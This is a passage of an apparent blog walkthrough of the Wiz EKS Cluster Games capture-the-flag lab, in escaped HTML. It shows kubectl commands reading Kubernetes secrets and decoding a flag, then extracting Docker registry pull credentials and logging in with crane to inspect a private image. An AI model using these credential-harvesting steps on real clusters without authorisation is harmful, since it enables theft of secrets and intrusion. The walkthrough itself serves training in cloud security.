data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e secret\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e TYPE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e DATA\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003elog-rotate\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Opaque\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 37h\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSince there is only one, let us view it!\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e secret\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e json\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"apiVersion\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"v1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"items\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"apiVersion\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"v1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"data\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"flag\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"d2l6X2Vrc19jaGFsbGVuZ2V7b21nX292ZXJfcHJpdmlsZWdlZF9zZWNyZXRfYWNjZXNzfQ==\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"kind\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Secret\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"metadata\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"creationTimestamp\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-11-01T13:02:08Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"name\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"log-rotate\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"namespace\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"challenge1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"resourceVersion\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"890951\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"uid\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"03f6372c-b728-4c5b-ad28-70d5af8d387c\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"type\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Opaque\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"kind\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"List\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"metadata\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"resourceVersion\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThe flag seems to be in \u003ccode\u003e.items[0].data.flag\u003c/code\u003e and is \u003ccode\u003ebase64\u003c/code\u003e encoded so we can\ndecode it as well:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e secret\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e json\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '.items[0].data.flag'\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -r\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e base64\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -d\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ewiz_eks_challenge\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e{omg_over_privileged_*REDACTED*}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eFirst flag found!\u003c/p\u003e\n\u003cp\u003eThis one was definitely a softball but it gets you nice and warmed up on the\nplatform.\u003c/p\u003e\n\u003ch1\u003eChallenge 2\u003c/h1\u003e\n\u003cp\u003eThe hint for this challenge is:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eA thing we learned during our research: always check the container registries.\n\nFor your convenience, the crane utility is already pre-installed on the machine.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe first thing I think of when reading this is that it has something to do\nwith the registry a pod is living on. So let us list the pods and see what is\navailable:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e pod\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e READY\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e RESTARTS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003edatabase-pod-2c9b3a4e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 1/1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Running\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 36h\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWith only one pod as a target, let us get the image for it:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e pod\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e json\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '.items[0].spec.containers[0].image'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e\"eksclustergames/base_ext_image\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo it is on standard \u003ccode\u003edocker.io\u003c/code\u003e registry instead of a private one like I was\nexpecting from the clue. The second hint was that crane is on the system so\nlet us use that to pull the image and inspect it:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e crane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e config\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e eksclustergames/base_ext_image\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eError:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e fetching\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e config:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e reading\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e image\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"eksclustergames/base_ext_image\":\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e GET\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://index.docker.io/v2/eksclustergames/base_ext_image/manifests/latest:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e UNAUTHORIZED:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e authentication\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e required\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e; [map[Action:pull Class: Name:eksclustergames/base_ext_image Type:repository]]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWhich means this is a private image and we are going to need to get some\ncredentials to an account that has access to this image. Usually you have to\ndefine a secret for kubernetes to be able to pull from private registries and\nsince we started off with a secret test first that is where I am going to go\nnext:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e pod\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e json\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '.items[0].spec.imagePullSecrets'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e[\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"name\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"registry-pull-secrets-780bab1d\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo that is the secret we need, let us view it:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e secret\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e registry-pull-secrets-780bab1d\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e json\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '.data.\".dockerconfigjson\"'\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -r\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ebase64\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -d\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ejq\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"auths\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"index.docker.io/v1/\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"auth\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"ZWtzY2x1c3RlcmdhbWVzOmRj\u0026#x3C;*REDACTED*\u003e200bHI0NWlZUWo4RnVDbw==\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eLooks like we have got some more base64 decoding for the actual auth credentials:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e echo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"ZWtzY2x1c3RdhbWVzOmRj\u0026#x3C;*REDACTED*\u003e200bHI0NWlZ4RnVDbw==\"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e base64\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -d\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eeksclustergames:dckr\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e\u0026#x3C;*REDACTED*\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo now we can login with \u003ccode\u003ecrane auth\u003c/code\u003e:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e crane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e auth\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e login\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -u\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e eksclustergames\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -p\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e dckr\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eREDACTED\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e docker.io\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e2023/11/03\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 02:35:49\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e logged\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e in\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e via\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /home/user/.docker/config.json\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo if we try to view the image again it should work!\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e crane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e config\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e eksclustergames/base_ext_image\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ejq\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"architecture\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"amd64\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"config\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Env\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Cmd\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"/bin/sleep\"\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"3133337\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"ArgsEscaped\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e true\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"OnBuild\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e null\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-11-01T13:32:18.920734382Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"history\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-07-18T23:19:33.538571854Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created_by\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / \"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e 